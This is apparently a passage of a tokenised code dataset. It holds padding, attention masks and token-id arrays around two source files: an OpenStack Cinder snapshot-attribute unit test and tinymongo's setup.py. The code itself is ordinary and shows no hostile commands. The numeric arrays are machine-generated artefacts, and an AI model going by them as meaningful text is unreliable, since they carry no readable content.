32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
Accelerite/cinder
cinder/tests/api/contrib/test_extended_snapshot_attributes.py
3
3658
# Copyright 2012 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from lxml import etree from oslo_serialization import jsonutils import webob from cinder.api.contrib import extended_snapshot_attributes from cinder import test from cinder.tests.api import fakes from cinder import volume UUID1 = '00000000-0000-0000-0000-000000000001' UUID2 = '00000000-0000-0000-0000-000000000002' def _get_default_snapshot_param(): return {'id': UUID1, 'volume_id': 12, 'status': 'available', 'volume_size': 100, 'created_at': None, 'display_name': 'Default name', 'display_description': 'Default description', 'project_id': 'fake', 'progress': '0%'} def fake_snapshot_get(self, context, snapshot_id): param = _get_default_snapshot_param() return param def fake_snapshot_get_all(self, context, search_opts=None): param = _get_default_snapshot_param() return [param] class ExtendedSnapshotAttributesTest(test.TestCase): content_type = 'application/json' prefix = 'os-extended-snapshot-attributes:' def setUp(self): super(ExtendedSnapshotAttributesTest, self).setUp() self.stubs.Set(volume.api.API, 'get_snapshot', fake_snapshot_get) self.stubs.Set(volume.api.API, 'get_all_snapshots', fake_snapshot_get_all) def _make_request(self, url): req = webob.Request.blank(url) req.headers['Accept'] = self.content_type res = req.get_response(fakes.wsgi_app()) return res def _get_snapshot(self, body): return jsonutils.loads(body).get('snapshot') def _get_snapshots(self, body): return jsonutils.loads(body).get('snapshots') def assertSnapshotAttributes(self, snapshot, project_id, progress): self.assertEqual(snapshot.get('%sproject_id' % self.prefix), project_id) self.assertEqual(snapshot.get('%sprogress' % self.prefix), progress) def test_show(self): url = '/v2/fake/snapshots/%s' % UUID1 res = self._make_request(url) self.assertEqual(res.status_int, 200) self.assertSnapshotAttributes(self._get_snapshot(res.body), project_id='fake', progress='0%') def test_detail(self): url = '/v2/fake/snapshots/detail' res = self._make_request(url) self.assertEqual(res.status_int, 200) for snapshot in self._get_snapshots(res.body): self.assertSnapshotAttributes(snapshot, project_id='fake', progress='0%') class ExtendedSnapshotAttributesXmlTest(ExtendedSnapshotAttributesTest): content_type = 'application/xml' ext = extended_snapshot_attributes prefix = '{%s}' % ext.Extended_snapshot_attributes.namespace def _get_snapshot(self, body): return etree.XML(body) def _get_snapshots(self, body): return etree.XML(body).getchildren()
apache-2.0
[ 3, 1898, 6029, 14260, 2752, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 421, 199, 504, 14490, 492, 7559, 199, 504, 11258, 63, 12161, 492, 18705, 199, 646, 14568, 199, 199, 504, 13069, 14, 1246, 14, 2828, 492, 9243, 63, 4753, 63, 2987, 199, 504, 13069, 492, 511, 199, 504, 13069, 14, 2219, 14, 1246, 492, 14063, 199, 504, 13069, 492, 3301, 421, 199, 8757, 17, 275, 283, 3607, 13, 993, 13, 993, 13, 993, 13, 20625, 614, 7, 199, 8757, 18, 275, 283, 3607, 13, 993, 13, 993, 13, 993, 13, 20625, 996, 7, 421, 199, 318, 485, 362, 63, 885, 63, 4753, 63, 635, 837, 272, 372, 791, 344, 356, 11134, 17, 12, 288, 283, 2405, 63, 344, 356, 3144, 12, 288, 283, 1205, 356, 283, 4561, 297, 288, 283, 2405, 63, 890, 356, 2948, 12, 288, 283, 3966, 63, 292, 356, 488, 12, 288, 283, 2918, 63, 354, 356, 283, 2698, 536, 297, 288, 283, 2918, 63, 1802, 356, 283, 2698, 1369, 297, 288, 283, 1715, 63, 344, 356, 283, 3183, 297, 288, 283, 5734, 356, 283, 16, 5, 936, 421, 199, 318, 4026, 63, 4753, 63, 362, 8, 277, 12, 1067, 12, 5740, 63, 344, 304, 272, 1215, 275, 485, 362, 63, 885, 63, 4753, 63, 635, 342, 272, 372, 1215, 421, 199, 318, 4026, 63, 4753, 63, 362, 63, 452, 8, 277, 12, 1067, 12, 2754, 63, 3291, 29, 403, 304, 272, 1215, 275, 485, 362, 63, 885, 63, 4753, 63, 635, 342, 272, 372, 359, 635, 61, 421, 199, 533, 13706, 12038, 5379, 774, 8, 396, 14, 1746, 304, 272, 1564, 63, 466, 275, 283, 3578, 15, 1001, 7, 272, 2403, 275, 283, 736, 13, 10525, 13, 4753, 13, 2987, 4881, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 14107, 12038, 5379, 774, 12, 291, 680, 5996, 342, 267, 291, 14, 8957, 14, 1084, 8, 2405, 14, 1246, 14, 3735, 12, 283, 362, 63, 4753, 297, 4026, 63, 4753, 63, 362, 9, 267, 291, 14, 8957, 14, 1084, 8, 2405, 14, 1246, 14, 3735, 12, 283, 362, 63, 452, 63, 15331, 297, 2432, 4026, 63, 4753, 63, 362, 63, 452, 9, 339, 347, 485, 1875, 63, 1069, 8, 277, 12, 1166, 304, 267, 2648, 275, 14568, 14, 2017, 14, 2500, 8, 633, 9, 267, 2648, 14, 2139, 459, 8422, 418, 275, 291, 14, 1317, 63, 466, 267, 522, 275, 2648, 14, 362, 63, 1310, 8, 27443, 14, 6508, 63, 571, 1012, 267, 372, 522, 339, 347, 485, 362, 63, 4753, 8, 277, 12, 2396, 304, 267, 372, 18705, 14, 3640, 8, 2030, 680, 362, 360, 4753, 358, 339, 347, 485, 362, 63, 15331, 8, 277, 12, 2396, 304, 267, 372, 18705, 14, 3640, 8, 2030, 680, 362, 360, 15331, 358, 339, 347, 702, 12038, 5379, 8, 277, 12, 5740, 12, 2199, 63, 344, 12, 6696, 304, 267, 291, 14, 629, 8, 4753, 14, 362, 3508, 83, 1715, 63, 344, 7, 450, 291, 14, 1861, 395, 586, 2199, 63, 344, 9, 267, 291, 14, 629, 8, 4753, 14, 362, 3508, 83, 5734, 7, 450, 291, 14, 1861, 395, 6696, 9, 339, 347, 511, 63, 2384, 8, 277, 304, 267, 1166, 275, 1994, 86, 18, 15, 3183, 15, 15331, 3149, 83, 7, 450, 11134, 17, 267, 522, 275, 291, 423, 1875, 63, 1069, 8, 633, 9, 398, 291, 14, 629, 8, 470, 14, 1205, 63, 442, 12, 1926, 9, 267, 291, 14, 479, 12038, 5379, 8, 277, 423, 362, 63, 4753, 8, 470, 14, 2030, 395, 4228, 2199, 63, 344, 534, 3183, 297, 4228, 6696, 534, 16, 5, 358, 339, 347, 511, 63, 5506, 8, 277, 304, 267, 1166, 275, 1994, 86, 18, 15, 3183, 15, 15331, 15, 5506, 7, 267, 522, 275, 291, 423, 1875, 63, 1069, 8, 633, 9, 398, 291, 14, 629, 8, 470, 14, 1205, 63, 442, 12, 1926, 9, 267, 367, 5740, 315, 291, 423, 362, 63, 15331, 8, 470, 14, 2030, 304, 288, 291, 14, 479, 12038, 5379, 8, 4753, 12, 5101, 2199, 63, 344, 534, 3183, 297, 5101, 6696, 534, 16, 5, 358, 421, 199, 533, 13706, 12038, 5379, 8672, 774, 8, 14107, 12038, 5379, 774, 304, 272, 1564, 63, 466, 275, 283, 3578, 15, 1652, 7, 272, 1599, 275, 9243, 63, 4753, 63, 2987, 272, 2403, 275, 12100, 83, 6834, 450, 1599, 14, 14107, 63, 4753, 63, 2987, 14, 3251, 339, 347, 485, 362, 63, 4753, 8, 277, 12, 2396, 304, 267, 372, 7559, 14, 4317, 8, 2030, 9, 339, 347, 485, 362, 63, 15331, 8, 277, 12, 2396, 304, 267, 372, 7559, 14, 4317, 8, 2030, 680, 362, 3223, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 6029, 14260, 2752, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 421, 199, 504, 14490, 492, 7559, 199, 504, 11258, 63, 12161, 492, 18705, 199, 646, 14568, 199, 199, 504, 13069, 14, 1246, 14, 2828, 492, 9243, 63, 4753, 63, 2987, 199, 504, 13069, 492, 511, 199, 504, 13069, 14, 2219, 14, 1246, 492, 14063, 199, 504, 13069, 492, 3301, 421, 199, 8757, 17, 275, 283, 3607, 13, 993, 13, 993, 13, 993, 13, 20625, 614, 7, 199, 8757, 18, 275, 283, 3607, 13, 993, 13, 993, 13, 993, 13, 20625, 996, 7, 421, 199, 318, 485, 362, 63, 885, 63, 4753, 63, 635, 837, 272, 372, 791, 344, 356, 11134, 17, 12, 288, 283, 2405, 63, 344, 356, 3144, 12, 288, 283, 1205, 356, 283, 4561, 297, 288, 283, 2405, 63, 890, 356, 2948, 12, 288, 283, 3966, 63, 292, 356, 488, 12, 288, 283, 2918, 63, 354, 356, 283, 2698, 536, 297, 288, 283, 2918, 63, 1802, 356, 283, 2698, 1369, 297, 288, 283, 1715, 63, 344, 356, 283, 3183, 297, 288, 283, 5734, 356, 283, 16, 5, 936, 421, 199, 318, 4026, 63, 4753, 63, 362, 8, 277, 12, 1067, 12, 5740, 63, 344, 304, 272, 1215, 275, 485, 362, 63, 885, 63, 4753, 63, 635, 342, 272, 372, 1215, 421, 199, 318, 4026, 63, 4753, 63, 362, 63, 452, 8, 277, 12, 1067, 12, 2754, 63, 3291, 29, 403, 304, 272, 1215, 275, 485, 362, 63, 885, 63, 4753, 63, 635, 342, 272, 372, 359, 635, 61, 421, 199, 533, 13706, 12038, 5379, 774, 8, 396, 14, 1746, 304, 272, 1564, 63, 466, 275, 283, 3578, 15, 1001, 7, 272, 2403, 275, 283, 736, 13, 10525, 13, 4753, 13, 2987, 4881, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 14107, 12038, 5379, 774, 12, 291, 680, 5996, 342, 267, 291, 14, 8957, 14, 1084, 8, 2405, 14, 1246, 14, 3735, 12, 283, 362, 63, 4753, 297, 4026, 63, 4753, 63, 362, 9, 267, 291, 14, 8957, 14, 1084, 8, 2405, 14, 1246, 14, 3735, 12, 283, 362, 63, 452, 63, 15331, 297, 2432, 4026, 63, 4753, 63, 362, 63, 452, 9, 339, 347, 485, 1875, 63, 1069, 8, 277, 12, 1166, 304, 267, 2648, 275, 14568, 14, 2017, 14, 2500, 8, 633, 9, 267, 2648, 14, 2139, 459, 8422, 418, 275, 291, 14, 1317, 63, 466, 267, 522, 275, 2648, 14, 362, 63, 1310, 8, 27443, 14, 6508, 63, 571, 1012, 267, 372, 522, 339, 347, 485, 362, 63, 4753, 8, 277, 12, 2396, 304, 267, 372, 18705, 14, 3640, 8, 2030, 680, 362, 360, 4753, 358, 339, 347, 485, 362, 63, 15331, 8, 277, 12, 2396, 304, 267, 372, 18705, 14, 3640, 8, 2030, 680, 362, 360, 15331, 358, 339, 347, 702, 12038, 5379, 8, 277, 12, 5740, 12, 2199, 63, 344, 12, 6696, 304, 267, 291, 14, 629, 8, 4753, 14, 362, 3508, 83, 1715, 63, 344, 7, 450, 291, 14, 1861, 395, 586, 2199, 63, 344, 9, 267, 291, 14, 629, 8, 4753, 14, 362, 3508, 83, 5734, 7, 450, 291, 14, 1861, 395, 6696, 9, 339, 347, 511, 63, 2384, 8, 277, 304, 267, 1166, 275, 1994, 86, 18, 15, 3183, 15, 15331, 3149, 83, 7, 450, 11134, 17, 267, 522, 275, 291, 423, 1875, 63, 1069, 8, 633, 9, 398, 291, 14, 629, 8, 470, 14, 1205, 63, 442, 12, 1926, 9, 267, 291, 14, 479, 12038, 5379, 8, 277, 423, 362, 63, 4753, 8, 470, 14, 2030, 395, 4228, 2199, 63, 344, 534, 3183, 297, 4228, 6696, 534, 16, 5, 358, 339, 347, 511, 63, 5506, 8, 277, 304, 267, 1166, 275, 1994, 86, 18, 15, 3183, 15, 15331, 15, 5506, 7, 267, 522, 275, 291, 423, 1875, 63, 1069, 8, 633, 9, 398, 291, 14, 629, 8, 470, 14, 1205, 63, 442, 12, 1926, 9, 267, 367, 5740, 315, 291, 423, 362, 63, 15331, 8, 470, 14, 2030, 304, 288, 291, 14, 479, 12038, 5379, 8, 4753, 12, 5101, 2199, 63, 344, 534, 3183, 297, 5101, 6696, 534, 16, 5, 358, 421, 199, 533, 13706, 12038, 5379, 8672, 774, 8, 14107, 12038, 5379, 774, 304, 272, 1564, 63, 466, 275, 283, 3578, 15, 1652, 7, 272, 1599, 275, 9243, 63, 4753, 63, 2987, 272, 2403, 275, 12100, 83, 6834, 450, 1599, 14, 14107, 63, 4753, 63, 2987, 14, 3251, 339, 347, 485, 362, 63, 4753, 8, 277, 12, 2396, 304, 267, 372, 7559, 14, 4317, 8, 2030, 9, 339, 347, 485, 362, 63, 15331, 8, 277, 12, 2396, 304, 267, 372, 7559, 14, 4317, 8, 2030, 680, 362, 3223, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
schapman1974/tinymongo
setup.py
1
2500
import io import os from setuptools import setup, find_packages from setuptools.command.test import test as TestCommand def read(*names, **kwargs): """Read a file.""" return io.open( os.path.join(os.path.dirname(__file__), *names), encoding=kwargs.get('encoding', 'utf8') ).read() def parse_md_to_rst(file): """Read Markdown file and convert to ReStructured Text.""" try: from m2r import parse_from_file return parse_from_file(file).replace( "artwork/", "http://198.27.119.65/" ) except ImportError: # m2r may not be installed in user environment return read(file) class PyTest(TestCommand): """PyTest cmdclass hook for test-at-buildtime functionality http://doc.pytest.org/en/latest/goodpractices.html#manual-integration """ user_options = [('pytest-args=', 'a', "Arguments to pass to pytest")] def initialize_options(self): TestCommand.initialize_options(self) self.pytest_args = [ 'tests/', '-rx' ] #load defaults here def run_tests(self): import shlex #import here, cause outside the eggs aren't loaded import pytest pytest_commands = [] try: #read commandline pytest_commands = shlex.split(self.pytest_args) except AttributeError: #use defaults pytest_commands = self.pytest_args errno = pytest.main(pytest_commands) exit(errno) setup( name='tinymongo', packages=find_packages(), version='0.2.1', description='A flat file drop in replacement for mongodb. Requires Tinydb', author='Stephen Chapman, Jason Jones', author_email='schapman1974@gmail.com', url='https://github.com/schapman1974/tinymongo', download_url='https://github.com/schapman1974/tinymongo/archive/master.zip', keywords=['mongodb', 'drop-in', 'database', 'tinydb'], long_description=parse_md_to_rst("README.md"), classifiers=[ 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7' ], install_requires=[ 'tinydb>=3.2.1', 'tinydb_serialization>=1.0.4', 'pymongo>=3.4.0' ], tests_require=[ 'pytest>=3.2.0', 'py>=1.4.33' ], cmdclass={ 'test':PyTest } )
mit
[ 646, 5890, 199, 646, 747, 199, 504, 9116, 492, 3272, 12, 2342, 63, 5154, 199, 504, 9116, 14, 1531, 14, 396, 492, 511, 465, 1379, 3110, 199, 199, 318, 1586, 2031, 1247, 12, 1011, 958, 304, 272, 408, 3284, 282, 570, 1041, 272, 372, 5890, 14, 1490, 8, 267, 747, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 3460, 493, 10139, 627, 1247, 395, 267, 2644, 29, 958, 14, 362, 360, 2991, 297, 283, 1624, 24, 358, 272, 7092, 739, 342, 421, 199, 318, 2198, 63, 1064, 63, 475, 63, 8332, 8, 493, 304, 272, 408, 3284, 24537, 570, 436, 3957, 370, 799, 27486, 4516, 1041, 272, 862, 26, 267, 687, 333, 18, 82, 492, 2198, 63, 504, 63, 493, 267, 372, 2198, 63, 504, 63, 493, 8, 493, 680, 1814, 8, 288, 298, 580, 800, 10665, 298, 1014, 921, 10905, 14, 1465, 14, 7119, 14, 2182, 6687, 267, 776, 272, 871, 3545, 26, 267, 327, 333, 18, 82, 1443, 440, 506, 4903, 315, 922, 3734, 267, 372, 1586, 8, 493, 9, 421, 199, 533, 1611, 774, 8, 774, 3110, 304, 272, 408, 2713, 774, 2088, 533, 5759, 367, 511, 13, 292, 13, 1506, 521, 9330, 339, 1455, 921, 1301, 14, 4462, 14, 1308, 15, 287, 15, 7410, 15, 8302, 80, 6457, 7724, 14, 1360, 3, 9285, 13, 15092, 339, 408, 272, 922, 63, 1419, 275, 4274, 4462, 13, 589, 4009, 283, 65, 297, 298, 14517, 370, 986, 370, 4613, 11323, 339, 347, 8265, 63, 1419, 8, 277, 304, 267, 1379, 3110, 14, 8489, 63, 1419, 8, 277, 9, 267, 291, 14, 4462, 63, 589, 275, 359, 288, 283, 2219, 3678, 288, 2475, 6872, 7, 267, 1622, 259, 327, 912, 4243, 2348, 339, 347, 1255, 63, 2219, 8, 277, 304, 267, 492, 16701, 267, 327, 646, 2348, 12, 7675, 9682, 314, 22151, 10621, 1133, 6511, 267, 492, 4613, 267, 4613, 63, 4405, 275, 942, 267, 862, 26, 259, 327, 739, 28279, 288, 4613, 63, 4405, 275, 16701, 14, 1294, 8, 277, 14, 4462, 63, 589, 9, 267, 871, 4281, 26, 221, 327, 1180, 4243, 288, 4613, 63, 4405, 275, 291, 14, 4462, 63, 589, 267, 7554, 275, 4613, 14, 973, 8, 4462, 63, 4405, 9, 267, 4458, 8, 7931, 9, 199, 199, 2758, 8, 272, 536, 534, 9864, 9217, 297, 272, 6117, 29, 1623, 63, 5154, 1062, 272, 1015, 534, 16, 14, 18, 14, 17, 297, 272, 1369, 534, 33, 6829, 570, 5978, 315, 8343, 367, 32315, 13152, 14, 221, 15127, 11947, 697, 297, 272, 4132, 534, 26696, 17579, 2799, 439, 1237, 12, 1603, 2660, 1603, 4548, 297, 272, 4132, 63, 2123, 534, 15820, 439, 1237, 1167, 1342, 32, 6799, 14, 957, 297, 272, 1166, 534, 2859, 921, 5031, 14, 957, 15, 15820, 439, 1237, 1167, 1342, 15, 9864, 9217, 297, 272, 5235, 63, 633, 534, 2859, 921, 5031, 14, 957, 15, 15820, 439, 1237, 1167, 1342, 15, 9864, 9217, 15, 6404, 15, 4133, 14, 3065, 297, 272, 7681, 2968, 22130, 13152, 297, 283, 4824, 13, 262, 297, 283, 4659, 297, 283, 9864, 697, 995, 272, 1846, 63, 1802, 29, 1122, 63, 1064, 63, 475, 63, 8332, 480, 18195, 14, 1064, 1288, 272, 19137, 1524, 267, 283, 11411, 8466, 3800, 2018, 3800, 499, 14, 23, 297, 267, 283, 11411, 8466, 3800, 2018, 3800, 650, 14, 20, 297, 267, 283, 11411, 8466, 3800, 2018, 3800, 650, 14, 21, 297, 267, 283, 11411, 8466, 3800, 2018, 3800, 650, 14, 22, 297, 267, 283, 11411, 8466, 3800, 2018, 3800, 650, 14, 23, 7, 272, 2156, 272, 3907, 63, 6537, 1524, 267, 283, 9864, 697, 8119, 19, 14, 18, 14, 17, 297, 267, 283, 9864, 697, 63, 12161, 8119, 17, 14, 16, 14, 20, 297, 267, 283, 29380, 8119, 19, 14, 20, 14, 16, 7, 272, 2156, 272, 2295, 63, 4365, 1524, 267, 283, 4462, 8119, 19, 14, 18, 14, 16, 297, 267, 283, 647, 8119, 17, 14, 20, 14, 1153, 7, 272, 2156, 272, 2088, 533, 3126, 267, 283, 396, 356, 2713, 774, 272, 789, 199, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
